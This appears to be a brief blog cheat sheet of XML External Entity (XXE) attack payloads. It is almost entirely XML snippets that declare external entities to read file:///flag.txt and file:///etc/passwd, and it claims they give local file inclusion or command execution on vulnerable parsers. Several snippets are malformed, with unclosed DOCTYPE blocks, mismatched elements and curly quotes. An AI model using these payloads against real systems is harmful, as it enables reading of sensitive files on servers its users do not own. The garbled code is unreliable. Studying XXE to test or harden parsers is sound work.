XXE/XML Attack

Malicious DTD

Following snippet can be used to get Local File Inclusion or Remote Command Execution on vulnerable XML.

<br /><?xml version=”1.0”?>

<!DOCTYPE cred [<!ENTITY xxe SYSTEM “file:///flag.txt”>

<!ELEMENT cred (username, password)>

<!ELEMENT username (#PCDATA)>

<!ELEMENT password (#PCDATA)>

]>

<cred>

<username>&xxe;</username>

<password>dsfdsf</password>

</cred>
<?xml version=”1.0”?>

<!DOCTYPE cred [<!ENTITY xxe SYSTEM “file:///etc/passwd”>

<!ELEMENT subnet_mask ANY>]>

<details>

<subnet_mask>&xxe;</subnet_mask>

<test></test>

</details>

<!DOCTYPE cred [<!ENTITY xxe SYSTEM “file:///flag.txt”>

<!ELEMENT cred (username, password)>

<!ELEMENT username (#PCDATA)>

<!ELEMENT password (#PCDATA)>

<cred>

<password>dsfdsf</password>

</cred>

<?xml version=”1.0”?>

<!DOCTYPE cred [<!ENTITY xxe SYSTEM “file:///etc/passwd”>

<!ELEMENT subnet_mask ANY>]>

<subnet_mask>&xxe;</subnet_mask>

</details>

XXE/XML Attack

Tagged on: LFI RCE XML